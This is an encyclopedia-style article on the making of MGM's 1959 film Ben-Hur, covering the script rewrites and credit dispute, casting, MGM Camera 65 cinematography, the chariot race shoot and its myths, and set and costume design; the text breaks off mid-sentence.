# Production of *Ben-Hur* (1959 film) Metro-Goldwyn-Mayer (MGM) originally announced a remake of the 1925 silent film *Ben-Hur* in December 1952, ostensibly as a way to spend its Italian assets.[a][1] Stewart Granger and Robert Taylor were reported to be in the running for the lead.[1] Nine months later, MGM announced it would make the film in CinemaScope, with shooting beginning in 1954.[2] In November 1953, MGM announced it had assigned producer Sam Zimbalist to the picture and hired screenwriter Karl Tunberg to write it.[3] Zimbalist was chosen because he had produced MGM's Best Picture-nominated Christians-and-lions epic *Quo Vadis* in 1951. The studio then announced in July 1954 that production would start in March 1955 with 42 speaking parts and 97 sets.[4] MGM said Sidney Franklin would direct, that the script by Tunberg was finished, that shooting would occur in Rome and in Spain, and that Marlon Brando was up for the lead.[5] In September 1955, Zimbalist, who continued to claim that Tunberg's script was complete, announced that a $7 million, six-to-seven month production would begin in April 1956 in either Israel or Egypt in MGM's new 65mm widescreen process.[6] MGM, however, suspended production in early 1956.[7] By the late 1950s, court decisions forcing film studios to divest themselves of theater chains[8] and the competitive pressure of television had caused significant financial distress at MGM.[9] In a gamble to save the studio, and inspired by the success of Paramount Pictures' 1956 Biblical epic *The Ten Commandments*,[9] studio head Joseph Vogel announced in 1957 that MGM would again move forward on a remake of *Ben-Hur*.[10] Filming started in May 1958 and wrapped in January 1959, and post-production took six months.[11] Although the budget for *Ben-Hur* was initially $7 million,[12] it was reported to be $10 million by February 1958,[13] reaching $15 million by the time shooting began—making it the costliest film ever produced up to that time.[14] When adjusted for inflation, the budget of *Ben Hur* was approximately $157 million in constant dollars.[15] One notable change in the film involved the opening titles. Concerned that a roaring Leo the Lion (the MGM mascot) would create the wrong mood for the sensitive and sacred nativity scene, Wyler received permission to replace the traditional logo with one in which Leo the Lion is quiet.[16] It was the first time in MGM history that the lion logo was not seen roaring.[16] ## Pre-production [edit]### Development [edit]Lew Wallace's 1880 novel, *Ben-Hur: A Tale of the Christ*, ran to about 550 pages. Zimbalist hired a number of screenwriters to cut the story down and turn the novel into a script. According to Gore Vidal, more than 12 versions of the script had been written by various writers by the spring of 1958.[17] Vidal himself had been asked to write a version of the script in 1957, refused, and been placed on suspension for his decision.[17] Karl Tunberg was one of the last writers to work on the script. Zimbalist had initially chosen director Sidney Franklin to helm the picture,[12] and Tunberg consulted with Franklin about the script.[18] Tunberg cut out everything in the book after the crucifixion of Jesus, omitted the sub-plot in which Ben-Hur fakes his death and raises a Jewish army to overthrow the Romans, and altered the manner in which the leperous women are healed. [b][19] The silent film version had introduced Esther early in the picture, rather than midway as in the novel, and Tunberg retained this feature in his script as well.[20] But Zimbalist was unhappy with Tunberg's script, and felt it was "pedestrian"[19] and "unshootable".[21] The writing effort changed direction when Franklin fell ill and was removed from the production.[12] Zimbalist offered the project to William Wyler, who had been one of 30 assistant directors on the 1925 film,[22] in early 1957.[23] Wyler initially rejected it, considering the quality of the script to be "very primitive, elementary" and no better than hack work.[24] It lacked good characterization, the dramatic structure was poor, and the leads were uninteresting (just "villains and heroes").[24] Zimbalist showed Wyler some preliminary storyboards for the chariot race, and Wyler began to express an interest in the picture. Zimbalist told Wyler, "Forget the chariot race. That's just second-unit stuff",[25] stating that the real challenge would be to give the picture "body, depth, intimacy", which Wyler was renowned for. Zimbalist also told Wyler that MGM would spend up to $10 million on the film, and Wyler, impressed with the large budget, agreed to review the script a second time.[25] The more Wyler thought about the story, the more he became intrigued with its possibilities.[9] However, according to a report in *The New York Times*, Wyler refused to take the job until he was sure he had a good leading man. MGM permitted Wyler to start casting, and in April 1957, mainstream media outlets reported that Wyler was giving screen tests to Italian leading men, such as Cesare Danova.[26] By June 13, 1957, MGM was still declining to confirm that Wyler had been hired to direct.[27] Yet, production was due to start, the studio said, in March 1958.[27] In fact, despite conducting screen tests and engaging in other pre-production work for *Ben-Hur*, Wyler did not agree to direct the film until September 1957,[25] and MGM did not announce his hiring until January 3, 1958.[28] Even though he still lacked a leading man, Wyler took the assignment for many reasons: He was promised a base salary of $350,000 as well as 8 percent of the gross box office (or 3 percent of the net profits, whichever was greater),[29] and he wanted to work in Rome again (where he had filmed *Roman Holiday*).[9][12] His base salary was, at the time, the largest ever paid to a director for a single film.[9] Professional competitive reasons also played a role in his decision to direct, and Wyler later admitted that he wished to "out DeMille"[12] and make a "thinking man's" Biblical epic.[30] In later years, William Wyler would joke that it took a Jew to make a good film about Christ.[31] ### Writing [edit]Wyler, like Zimbalist, was also unhappy with the script. He felt Tunberg's draft was too much of a morality play overlaid with current Western political overtones, and that the dialogue was too modern-sounding.[32] Zimbalist brought in playwright S. N. Behrman (who also wrote the script for *Quo Vadis*) and then playwright Maxwell Anderson to write drafts.[12] Behrman spent about a month working on the script, but how much he contributed to the final version is unclear.[21] Both a contemporary account in the British magazine *Films and Filmmaking* as well as Vidal biographer Fred Kaplan claim that Anderson was ill and unable to work on the script.[18][21] *The New York Times* however, reported in June 1957 that Anderson was at work on the script.[c][27][33] Vidal said that, by spring 1958, the script largely reflected Anderson and Behrman's work and nearly all the dialogue was in Anderson's "elevated poetic style."[17] Kaplan describes the script at this point as having only a "modest to minimal" understanding of what the ancient Roman world was like, dialogue which veered "between flat Americanisms and stilted formality", and an ill-defined relationship between Judah Ben-Hur and Messala.[34] Vidal biographer Fred Kaplan states that British poet and playwright Christopher Fry was hired simultaneously with Vidal, although most sources (including Vidal himself) state that Vidal followed Anderson, and that Fry did not come aboard until Vidal was close to leaving the picture.[35] Vidal said that pre-production on the film was already underway in Italy when he flew to Rome in early March 1958 to meet with Wyler.[17][d] Vidal claimed that Wyler had not read the script, and that when he did so (at Vidal's urging) on his flight from the U.S. to Italy, he was upset with the modernist dialogue.[17][36] Vidal agreed to work on the script for three months so that he would come off suspension and fulfill his contract with MGM,[12][17] although Zimbalist pushed him to stay throughout the entire production.[35] Vidal was researching a book on the 4th century Roman emperor Julian, and knew a great deal about ancient Rome.[34] Wyler, however, knew almost nothing about the period, and spent most of March having nearly every Hollywood film about ancient Rome flown to him in Italy—where he spent hours screening them.[35] Vidal's working style was to finish a scene and review it with Zimbalist. Once Vidal and Zimbalist had come to agreement, the scene would be passed to Wyler.[35] Vidal said he kept the structure of the Tunberg/Behrman/Anderson script, but rewrote nearly all the dialogue.[37] Vidal admitted to William Morris in March 1959 that Fry rewrote as much as a third of the dialogue which Vidal had added to the first half of the script. Vidal made one structural change that was not revised, however. The Tunberg script had Ben-Hur and Messala reuniting and falling out in a single scene. Vidal broke the scene in two, so that the men first reunite at the Castle Antonia and then later argue and end their friendship at Ben-Hur's home. Vidal also added small character touches to the script, such as Ben-Hur's purchase of a brooch for Tirzah and a horse for Messala.[37] Vidal claimed that he worked on the first half of the script (everything up to the chariot race), and scripted 10 versions of the scene where Ben-Hur confronts Messala and begs for his family's freedom.[31][38] Vidal's claim about a homoerotic subtext is hotly debated. Vidal first made the claim in an interview in the 1995 documentary film *The Celluloid Closet*, and asserted that he persuaded Wyler to direct Stephen Boyd to play the role as if he were a spurned homosexual lover.[39] Vidal said that he believed that Messala's vindictiveness could only be motivated by the feeling of rejection that a lover would feel, and suggested to Wyler that Stephen Boyd should play the role that way, and that Heston be kept in the dark about the Messala character's motivations.[31] Vidal further claimed that Wyler took his advice. Whether Vidal wrote the scene in question or had the acting conversation with Wyler, and whether Wyler shot what Vidal wrote, remain issues of debate. In 1980, Wallace biographers Robert and Katharine Morsberger said that Vidal's contribution to the script remained unclear.[19] Heston has asserted that Wyler felt Vidal did not solve the problem of motivation, and that Wyler shot little of what he wrote or made little contribution to the script.[31][40] Wyler himself says that he does not remember any conversation about this part of the script or Boyd's acting with Gore Vidal,[31] and that he discarded Vidal's draft in favor of Fry's.[12] Film critic Gary Giddins also dismisses Vidal's claims, concluding that 80 percent of the script had been written "years before" Vidal came aboard the production.[38] However, Jan Herman, one of Wyler's biographers, asserts "there is no reason to doubt" Vidal's claim, and that Wyler's inability to remember the conversation was just part of the director's notorious caginess.[31] There appears to be some contemporary support for Vidal's assertions. Morgan Hudgens, publicity director for the film, wrote to Vidal in late May 1958 about the crucial scene, and implied there was a homosexual context: "... the big cornpone [the crew's nickname for Heston] really threw himself into your 'first meeting' scene yesterday. You should have seen those boys embrace!"[41] Film critic F. X. Feeney, in a comparison of script drafts, concludes that Vidal made significant and extensive contributions to the script.[42] The final writer on the film was Christopher Fry. Charlton Heston has claimed that Fry was Wyler's first choice as screenwriter, but that Zimbalist forced him to use Vidal.[31] Whether Fry worked on the script before Vidal or not, sources agree that Fry arrived in Rome in early May 1958 and spent six days a week on the set, writing and rewriting lines of dialogue as well as entire scenes, until the picture was finished.[43] In particular, Fry gave the dialogue a slightly more formal and archaic tone without making it sound stilted and medieval.[43] For example, the sentence "How was your dinner?" became "Was the food not to your liking?"[43] By early June, Fry (working backward from the ending) had finished the screenplay.[44] Film historian Daniel Eagan, however, claims that Fry did not finish the screenplay. Rather, as time went on, Wyler stopped seeking improvements to the script in order to finish the picture.[12] The final script ran 230 pages.[45] The screenplay differed more from the original novel than did the 1925 silent film version. Some changes made the film's storyline more dramatic. Others inserted an admiration for Jewish people (who had founded the state of Israel by this time) and the more pluralistic society of 1950s America rather than the "Christian superiority" view of Wallace's novel.[46] #### Credits dispute [edit]Wyler said that he tried to get Tunberg and Fry co-credit for writing the screenplay. Tunberg initially agreed, Wyler said, but then changed his mind when the Screen Writers' Guild routinely investigated the claim.[47] According to Gore Vidal and film historian Gary Giddins, however, Wyler tried to get Fry an unshared credit for the screenplay.[47][48] The dispute over who would receive screen credit quickly became a public one. According to *The New York Times*, Vidal challenged the initial determination by the Screen Writers' Guild regarding who would receive writing credit for the film.[33] The Screen Writers' Guild arbitrated the credit under its screenwriting credit system, and unanimously awarded full and sole credit for the script to Tunberg (who, coincidentally, was a former president of the Guild).[33][47][49] Both director William Wyler and Sol C. Siegel, head of production at MGM, appealed the Guild's ruling.[33] Tunberg agreed to share credit, but the Guild refused to change its ruling.[33] Wyler publicly campaigned to get Fry screenwriting credit, feeling that insider politics had led the Guild to give Tunberg sole credit. In retaliation, the Guild took out advertisements in trade newspapers accusing Wyler of trying to undermine the integrity of the credit and arbitration system. When *Ben-Hur* won Academy Awards in a wide range of categories except best screenplay, the Guild then accused Wyler of interfering with Tunberg's nomination. Later, when Charlton Heston accepted his Oscar for Best Leading Actor, he thanked Christopher Fry in his acceptance speech. The Guild sent him a letter which accused Heston of deliberately impugning the Guild and Tunberg's reputation.[47] ### Casting [edit]Several actors were offered the role of Judah Ben-Hur before it was accepted by Charlton Heston. Burt Lancaster claimed he turned down the role because he found the script boring[50] and belittling to Christianity.[e] Paul Newman turned it down because he said he didn't have the legs to wear a tunic.[51] Marlon Brando,[51] Rock Hudson,[f] Geoffrey Horne,[g] and Leslie Nielsen[52] were also offered the role, as were a number of muscular, handsome Italian actors (many of whom did not speak English).[53] Kirk Douglas was interested in the role, but was turned down in favor of Heston,[h] who was formally cast on January 22, 1958.[55] His salary was $250,000 for 30 weeks, a prorated salary for any time over 30 weeks, and travel expenses for his family.[36] Stephen Boyd was cast as the antagonist, Messala, on April 13, 1958.[56] William Wyler originally wanted Heston for the role, but sought another actor after he moved Heston into the role of Judah Ben-Hur.[57] Wyler tried to interest Kirk Douglas in the role of Messala, but Douglas turned him down.[58] Stewart Granger also turned down the role, reportedly because he did not want to take second billing to Charlton Heston.[59] Boyd was a contract player at 20th Century Fox when Wyler cast him.[12] Because both Boyd and Heston had blue eyes, Wyler had Boyd outfitted with brown contact lenses as a way of contrasting the two men.[60] Wyler typically cast the Romans with British actors and the Jews with American actors to help underscore the divide between the two groups.[14][61] The Romans were the aristocrats in the film, and Wyler believed that American audiences would interpret British accents as patrician.[62] Marie Ney was originally cast as Miriam, but was fired after two days of work because she could not cry on cue.[62][63] Heston says that he was the one who suggested that Wyler cast Martha Scott (who had played the mother of Heston's Moses in *The Ten Commandments*, and with whom he'd worked on Broadway) as Miriam.[64] Scott was hired on July 17, 1958.[65] Cathy O'Donnell was Wyler's sister-in-law, and although her career was in decline (*Ben-Hur* would be her last screen performance) Wyler cast her as Tirzah.[66] More than 30 actresses were considered for the role of Esther.[67] The Israeli actress Haya Harareet, a relative newcomer to film, was cast as Esther on May 16, 1958,[67] after providing a 30-second silent screen test.[68] Wyler had met her at the Cannes Film Festival, where she impressed him with her conversational skills and force of personality.[69] Sam Jaffe was cast as Simonides on April 3, 1958,[70] primarily because he had become famous for his roles as a wise old patriarch in a number of films.[71] Finlay Currie was cast as Balthasar the same day as Jaffe.[70] Wyler had to persuade Jack Hawkins to appear in the film, because Hawkins was unwilling to act in another epic motion picture so soon after *The Bridge on the River Kwai*.[32] Wyler's efforts at persuasion were successful, and Hawkins was cast on March 18, 1958.[72] Hugh Griffith, who gained acclaim in the post-World War II era in Ealing Studios comedies, was cast as the comical Sheik Ilderim.[73] Finlay Currie had worked with Zimbalist before on *Quo Vadis*, playing St. Peter, was cast as Balthasar.[74] Out of respect for the divinity of Christ, and consistent with Lew Wallace's stated preference,[i] Wyler decided before the production began that the face of Jesus would not be shown.[75] The role of Jesus was played by Claude Heater, who was uncredited for the role. Heater was an American opera singer performing with the Vienna State Opera in Rome when he was asked to do a screen test for the film.[76] In casting, Wyler placed heavy emphasis on characterization rather than looks or acting history.[66] For example, he cast a British actor for the role of the centurion who denies Judah Ben-Hur water at Nazareth. When the actor demanded higher pay, the first assistant director selected a different actor. Wyler, who believed the centurion's reaction to his confrontation with Jesus Christ was critical, shut down the production at a cost of $15,000 while the original actor was retrieved from Rome.[77] MGM opened a casting office in Rome in mid-1957 to select the 50,000 individuals who would act in minor roles and as extras in the film.[78] The studio announced that casting for leads in the film was complete on September 12, 1958, when Kamala Devi was cast as Iris, Sheik Ilderim's daughter.[79] However, neither the character nor the actress appeared in the film. A total of 365 actors had speaking parts in the film, although only 45 of them were considered "principal" performers.[80] According to *The New York Times*, only four of the actors (Heston, O'Donnell, Jaffe, and Scott) had worked in Hollywood.[80] ## Production [edit]### Cinematography [edit]Robert L. Surtees, who had filmed several of the most successful epics of the 1950s and who had worked with Sam Zimbalist on *Quo Vadis* in 1951, was hired as cinematographer for the film.[81] Early on in the film's production, Zimbalist and other MGM executives made the decision to film the picture in a widescreen format. Wyler strongly disliked the widescreen format, commenting that "Nothing is *out* of the picture, and you can't fill it. You either have a lot of empty space, or you have two people talking and a flock of others surrounding them who have nothing to do with the scene. Your eye just wanders out of curiosity."[82] The cameras were also quite large, heavy, and difficult and time-consuming to move.[82] To overcome these difficulties, Surtees and Wyler collaborated on using the widescreen lenses, film stocks, and projection technologies to create highly detailed images for the film. For establishing shots, they planned to show vast lines of marching Roman troops and sailing ships, immense architectural structures lined with thousands of extras, expansive landscapes, and action that moved across the screen.[83] Wyler was best known for composition in depth, a visual technique in which people, props, and architecture are not merely composed horizontally but in depth of field as well. He also had a strong preference for long takes, during which his actors could move within this highly detailed space. Widescreen cinematic technology, however, limited the depth of field. Surtees and Wyler worked to overcome this by creating scenes in which one half of the screen is filled with a foreground object while the other half is filled with a background area, and then rack-focusing between the two as the action shifts from foreground to background.[83] Notable instances of this occur when the injured Messala waits for Judah Ben-Hur to appear in the racecourse surgery, when Judah Ben-Hur hides behind a rock to avoid being seen by his mother and sister in the Valley of the Lepers, and during the Sermon on the Mount.[84] The movie was filmed in a process known as "MGM Camera 65". 1957's *Raintree County* was the first MGM film to use the process.[85] The MGM Camera 65 used special 65mm Eastmancolor film stock with a 2.76:1 aspect ratio.[86] 70mm anamorphic camera lenses developed by the Mitchell Camera Company were manufactured to specifications submitted by MGM.[87] These lenses squeezed the image down 1.25 times to fit on the image area of the film stock.[88] The 65mm images were then printed on 70mm film stock.[89] The extra 5mm of space on the film stock allowed the studio to use the new six-track stereo sound, which audiences rarely heard at the time.[90] To make a 35mm print (the type of film stock most smaller theaters could project), a 35mm print with black borders along the top and bottom of each frame was used.[86] When projected, the 2.76:1 aspect ratio was retained.[86] Because the film could be adapted to the requirements of individual theaters, movie houses did not need to install special, expensive 70mm projection equipment.[91] This allowed more theaters to show the film. Six of the 70mm lenses, each worth $100,000, were shipped to Rome for use by the production.[74][92][j] ### Principal photography [edit]Wyler left the United States for Italy in April 1958, five months before post-production on Wyler's *The Big Country* was finished. Wyler authorized his long-time editor, Robert Swink, to edit *The Big Country* as he saw fit—including the shooting of a new finale, which Swink did.[93] Wyler asked not to be contacted by United Artists over the changes to *The Big Country* because *Ben-Hur* would take all his attention, time, and energy. Swink sent him a final cut of the picture in May 1958, which Wyler endorsed.[94] I spent sleepless nights trying to find a way to deal with the figure of Christ. It was a frightening thing when all the great painters of twenty centuries have painted events you have to deal with, events in the life of the best-known man who ever lived. Everyone already has his own concept of him. I wanted to be reverent, and yet realistic. Crucifixion is a bloody, awful, horrible thing, and a man does not go through it with a benign expression on his face. I had to deal with that. It is a very challenging thing to do that and get no complaints from anybody. —Wyler on the difficulty of shooting the crucifixion scene.[95] Pre-production began at Cinecittà around October 1957.[13] The MGM Art Department produced more than 15,000 sketches and drawings of costumes, sets, props, and other items needed for the film (8,000 alone for the costumes); photostatted each item; and cross-referenced and catalogued them for use by the production design team and fabricators.[96] More than a million props were ultimately manufactured.[97] Construction of miniatures for the entrance of Quintus Arrius into Rome and for the sea battle were under way by the end of November 1957.[98] MGM location scouts arrived in Rome ("yet again", according to *The New York Times*) to identify shooting locations in August 1957.[99] Location shooting in Africa was actively under consideration.[100] In mid-January 1958, MGM said that filming in North Africa (later revealed to be Libya) would begin on March 1, 1958, and that 200 camels and 2,500 horses had already been procured for the studio's use there.[101] The production was then scheduled to move to Rome on April 1, where Andrew Marton had been hired as second unit director and 72 horses were being trained for the chariot race sequence.[101] However, the Libyan government canceled the production's film permit for religious reasons on March 11, 1958, just a week before filming was to have begun.[102][k][103] It is unclear whether any second unit filming took place in Israel. A June 8, 1958, reported in *The New York Times* said Marton had roamed "up and down the countryside" filming footage.[104] However, the American Film Institute claims the filming permit was revoked in Israel for religious reasons as well (although when is not clear), and no footage from the planned location shooting near Jerusalem appeared in the film.[98] Principal photography began in Rome on May 18, 1958.[49] The script was still unfinished when cinematography began, so that Wyler had only read the first 10 to 12 pages of it.[105] Shooting lasted for 12 to 14 hours a day, six days a week. On Sundays, Wyler would meet with Fry and Zimbalist for story conferences. The pace of the film was so grueling that a doctor was brought onto the set to give a vitamin B complex injection to anyone who requested it (shots that Wyler and his family later suspected may have contained amphetamines).[106] Wyler was unhappy with Heston's performances, feeling they did not make Judah Ben-Hur a plausible character. Wyler shot 16 takes of Heston saying, "I'm a Jew!"[107] By November 1958, the production was becoming bogged down. In part, this was due to the extras. More than 85 percent of the extras had no telephone and no permanent address, so contacting them required using word-of-mouth. It could take several days before all the extras were informed they would be needed. An experienced extra was put in charge of about 30 inexperienced extras, moving them in and out of make-up and wardrobe. On days when there were thousands of extras, individuals would begin getting into costume at 5 A.M., while the last extras would get out of costume around 10 P.M.[78] To speed things up, Wyler often kept principal actors on stand-by, in full costume and make-up, so that he could shoot pick-up scenes if the first unit slowed down. Actresses Martha Scott and Cathy O'Donnell spent almost the entire month of November 1958 in full leprosy make-up and costumes so that Wyler could shoot "leper scenes" when other shots didn't go well.[108] Shooting took nine months, which included three months for the chariot race scene alone.[109] Principal photography ended on January 7, 1959, with filming of the crucifixion scene.[11][110] The sequence took four days to film. Heston said that the final day's shoot was such a "flurry of grab shots" that the conclusion of principal photography was hardly remarked.[95] #### Chariot race sequence [edit]The chariot race in *Ben-Hur* was directed by Andrew Marton and Yakima Canutt,[111] filmmakers who often acted as second unit directors on other people's films. Each man had an assistant director, who shot additional footage.[112] Among these were Sergio Leone,[113] who was senior assistant director in the second unit and responsible for retakes.[114] William Wyler shot the "pageantry" sequence that occurs before the race, scenes of the jubilant crowd, and the victory scenes after the race concludes.[115] The "pageantry" sequence before the race begins is a shot-by-shot remake of the same sequence from the 1925 silent film version.[116] Wyler added the parade around the track because he knew that the chariot race would be primarily composed of close-up and medium shots. To impress the audience with the grandeur of the arena, Wyler added the parade in formation (even though it was not historically accurate).[62] The original screenwriter, Karl Tunberg, had written just three words ("the chariot race") to describe the now-famous sequence, and no other writer had enlarged on his description.[75] Marton and Canutt wrote 38 pages of script that outlined every aspect of the race, including action, stunts, camera shots and angles.[75] According to editor John Dunning, producer Sam Zimbalist was deeply involved in the planning and shooting of the chariot sequence, and the construction of the arena.[112] #### Set design [edit]The chariot arena was modeled on a historic circus in Jerusalem.[117] Covering 18 acres (7.3 ha), it was the largest film set ever built at that time.[118] Constructed at a cost of $1 million, it took a thousand workmen more than a year to carve the oval out of a rock quarry.[119][117] The racetrack featured 1,500-foot (460 m) long straightaways and five-story-high grandstands.[117] Over 250 miles (400 km) of metal tubing were used to erect the grandstands.[80] Matte paintings created the illusion of upper stories of the grandstands and the background mountains.[120] The production crew researched ancient Roman racetracks, but were unable to determine what a historic track surface was like. The crew decided to create their own racecourse surface, one that would be hard enough to support the steel-rimmed chariot wheels but soft enough to not harm the horses after hundreds of laps. The construction crew laid down a bed of crushed rock topped by a layer of ground lava and fine-ground yellow rock.[75] More than 40,000 short tons (36,000 t) of sand were brought in from beaches on the Mediterranean to cover the track.[121] Other elements of the circus were historically accurate. Imperial Roman racecourses featured a raised 10 feet (3.0 m) high *spina* (the center section), *metae* (columnar goalposts at each end of the *spina*), dolphin-shaped lap counters, and *carceres* (the columned building in the rear, which housed the cells where horses waited prior to the race).[120][122] The four statues atop the *spina* were 30 feet (9.1 m) high.[45] A chariot track identical in size was constructed next to the set and used to train the horses and lay out the camera shots.[122] #### Preparation [edit]Planning for the chariot race took nearly a year to complete.[117] Seventy-eight horses were bought and imported from Yugoslavia and Sicily in November 1957, exercised into peak physical condition, and trained by Hollywood animal handler Glenn Randall to pull the *quadriga* (a Roman Empire chariot drawn by four horses abreast).[97][117] Andalusian horses played Ben-Hur's Arabians, while the others in the chariot race were primarily Lipizzans.[123] A veterinarian, a harness maker, and 20 stable boys were employed to care for the horses and ensure they were outfitted for racing each day.[97] When a blacksmith for making horseshoes could not be found, an 18-year-old Italian boy was trained in the art of blacksmithing in order to do so.[124] The firm of Danesi Brothers[125] built 18 chariots,[126] each weighing 900 pounds (410 kg).[14] Nine were practice chariots.[125] Principal cast members, stand-ins, and stunt people made 100 practice laps of the arena in preparation for shooting.[109] Because the chariot race was considered so dangerous, a 20-bed infirmary staffed by two doctors and two nurses was built next to the set to care for anyone injured during shooting.[124][127] Heston and Boyd both had to learn how to drive a chariot. Heston, an experienced horseman, took daily three-hour lessons in chariot driving after he arrived in Rome and picked up the skill quickly.[43][128] (He also learned sword fighting, how to throw a javelin, camel riding, and rowing.)[129] Heston was outfitted with special contact lenses to prevent the grit kicked up during the race from injuring his eyes.[128] Boyd, however, needed four weeks of training to feel comfortable (but not expert) at driving the *quadriga*.[43] For the other charioteers, six actors with extensive experience with horses were flown in from Hollywood. Local actors also portrayed charioteers. Among them was Giuseppe Tosi, who had once been a bodyguard for Victor Emmanuel III of Italy.[78] The production schedule originally called for the chariot race to be shot in the spring, when weather was cooler for the horses and when Wyler would not be placing heavy demands on Heston and Boyd's time. However, the arena surface was not ready, the arena set was not finished, and the horses had not finished their training.[43] Shooting of the chariot sequence began on the same day as principal photography. Once again filming was delayed. The racecourse surface proved so soft that it slowed the horses down and a day of shooting was lost as the yellow rock and all but 3.5 inches (8.9 cm) of crushed lava were removed.[130] #### Filming [edit]Marton and Canutt filmed the entire chariot sequence with stunt doubles in long shot, edited the footage together, and showed the footage to Zimbalist, Wyler, and Heston to show them what the race should look like and to indicate where close-up shots with Heston and Boyd should go.[75] Seven thousand extras were hired to cheer in the stands.[9][118][l] Economic conditions in Italy were poor at the time, and as shooting for the chariot scene wound down only 1,500 extras were needed on any given day. On June 6, more than 3,000 people seeking work were turned away. The crowd rioted, throwing stones and assaulting the set's gates until police arrived and dispersed them.[131] Dynamite charges were used to show the chariot wheels and axles splintering from the effects of Messala's barbed-wheel attacks.[120] Three lifelike dummies were placed at key points in the race to give the appearance of men being run over by chariots.[127] The cameras used during the chariot race also presented problems. The 70mm lenses had a minimum focal length of 50 feet (15 m), and the camera was mounted on a small Italian-made car so the camera crew could keep in front of the chariots. The horses, however, accelerated down the 1,500-foot (460 m) straightaway much faster than the car could, and the long focal length left Marton and Canutt with too little time to get their shots. The production company purchased a more powerful American car, but the horses still proved too fast. Even with a head start, the larger American car could give the filmmakers only a few more seconds of shot time. Since the horses had to be running at top speed for the best visual impact, Marton chose to film the chariot race with a smaller lens with a much shorter minimum focal length. He also decided that the car should stay only a few feet ahead of the horses.[82] This was highly dangerous, for if the car did not make its turns or slowed down, a deadly crash with the horses could occur. The changes, however, solved the problems the camera crew was encountering. As filming progressed, vast amounts of footage were shot for this sequence. The ratio of footage shot to footage used was 263:1, one of the highest ratios ever for a film.[127] John Dunning and Ralph E. Winters edited the footage of the chariot sequence. According to Dunning, Winters edited most of the chariot race, but the two men discussed it at length with some input from Wyler.[132] The two editors decided that, once the race was under way, one of the charioteers should be killed immediately to demonstrate to the audience that the race was a deadly one. The barb inserts on the hub of Messala's chariot were used repeatedly throughout the sequence to make it obvious that his chariot was highly dangerous. As footage was shot, it was roughly edited by Ralph Winters. If the footage was poor, the stunts didn't come off on camera well, or coverage was lacking, then more footage would be shot. At the end of three months, Dunning says, Winters had so much footage on hand that he asked Dunning to come to Rome to help him edit the final sequence together.[112] One of the most notable moments in the race came from a near-fatal accident. Joe Canutt, Yakima Canutt's son, did Heston's more dangerous stunts during the sequence.[117] When Judah Ben-Hur's chariot jumps over the wreckage of a chariot in its path, Ben-Hur is almost thrown out of his chariot. He hangs on and climbs back aboard to continue the race. While the jump was planned (the horses were trained to leap over the wreckage, and a telephone pole had been half-buried in the earth to force the chariot to jump into the air),[133] stunt man Joe Canutt was tossed into the air by accident; he incurred a minor chin injury.[134] Marton wanted to keep the shot, but Zimbalist felt the footage was unusable. Marton conceived the idea of showing that Ben-Hur was able to land on and cling to the front of his chariot, then scramble back into the *quadriga* while the horses kept going.[133] The long shot of Canutt's accident edited together with a close-up of Heston climbing back aboard constitutes one of the race's most memorable moments.[135] Boyd did all but two of his own stunts.[11] For the sequence where Messala is dragged beneath a chariot's horses and trampled to near death, Boyd wore steel armor under his costume and acted out the close-up shot and the shot of him on his back, attempting to climb up into the horses' harness to escape injury. A dummy was used to obtain the trampling shot in this sequence.[134] In all, the chariot scene took five weeks (spread over three months) to film at a total cost of $1 million[75] and required more than 200 miles (320 km) of racing to complete.[118] Two of the $100,000 70mm lenses were destroyed during the filming of the close-up shots.[74] Once the "pageantry" and victory parade sequences of the race were finished, Wyler did not visit the chariot race set again. Marton asked the editors to put together a rough cut of the film, with temporary sound effects, and then asked Zimbalist to screen it for Wyler to get Wyler's approval for the sequence. Zimbalist said no. Wyler was tired, and might not fully appreciate the rough cut and demand that the whole race be refilmed. Zimbalist changed his mind however and showed the rough cut to Wyler several days later. According to Zimbalist, Wyler said "it's one of the greatest cinematic achievements" he had ever seen.[133] Wyler did not see the final cut of the chariot race until the press screening of *Ben-Hur*.[133] #### Myths [edit]Several urban legends exist regarding the chariot sequence. One states that a stuntman died during filming. Stuntman Nosher Powell says in his autobiography, "We had a stunt man killed in the third week, and it happened right in front of me. You saw it, too, because the cameras kept turning and it's in the movie."[136] But film historian Monica Silveira Cyrino discounted this statement in 2005, and said there were no published accounts of any serious injuries or deaths during filming of the chariot race.[117] Indeed, the only recorded death to occur during the filming was that of producer Sam Zimbalist, who died of a heart attack at the age of 57 on November 4, 1958, while on the set.[137] MGM executives asked Wyler to take over the executive producer's job, with an extra salary of $100,000. Wyler agreed, although he had assistance from experienced MGM executives as well.[138] Production supervisor Henry Henigson was so overcome by stress-related heart problems during the shoot that doctors feared for his life and ordered him off the set.[9] Henigson, however, returned to the production shortly thereafter and did not die. Nor were any horses injured during the shoot; in fact, the number of hours that the horses could be used each day was actually shortened to keep them out of the summer heat.[139] Another urban legend states that a red Ferrari can be seen during the chariot race. The book *Movie Mistakes* claims this is a myth.[140] Heston, in a DVD commentary track for the film, mentions that a third urban legend claims that he wore a wristwatch during the chariot race. Heston points out that he wore leather bracers up to the elbow.[141] ### Production design [edit]Italy was MGM's top choice for hosting the production. However, a number of countries—including France, Mexico, Spain, and the United Kingdom—were also considered.[143] Cinecittà Studios, a very large motion picture production facility constructed in 1937 on the outskirts of Rome, was identified early on as the primary shooting location.[13] Zimbalist hired Wyler's long-term production supervisor, Henry Henigson, to oversee the film. Henigson arrived in Italy in the spring of 1956.[36] Art directors William A. Horning and Edward Carfagno created the overall look of the film, relying on the more than five years of research that had already been completed for the production.[119] A skeleton crew of studio technicians arrived in the summer of 1956 to begin preparing the Cinecittà soundstages and back lot, and to oversee the construction of additional buildings that would be needed to house the production team.[143] The largest Cinecittà soundstage was not used for filming, but was used as a vast costume warehouse. Another soundstage housed a dry cleaning facility, a traditional laundry, a sculptors' workshop, and a shoe repair facility.[119] The *Ben-Hur* production utilized 300 sets scattered over 148 acres (60 ha) and nine sound stages.[117] It was filmed largely at Cinecittà Studios. Several sets still standing from *Quo Vadis* in 1951 were refurbished and used for *Ben-Hur*.[117] By the end of the production more than 1,000,000 pounds (450,000 kg) of plaster and 40,000 cubic feet (1,100 m3) of lumber were used.[80][144] The budget called for more than 100,000 costumes and 1,000 suits of armor to be made, for the hiring of 10,000 extras, and the procurement of hundreds of camels, donkeys, horses, and sheep.[14][45] Costume designer Elizabeth Haffenden oversaw a staff of 100 wardrobe fabricators who began manufacturing the costumes for the film a year before filming began. Special silk was imported from Thailand, the armor manufactured in West Germany, and the woolens made and embroidered in the United Kingdom and various countries of South America. Many leather goods were hand-tooled in the United Kingdom as well, while Italian shoemakers manufactured the boots and shoes. The lace for costumes came from France, while costume jewelry was purchased in Switzerland.[145] More than 400 pounds (180 kg) of hair were donated by women in the 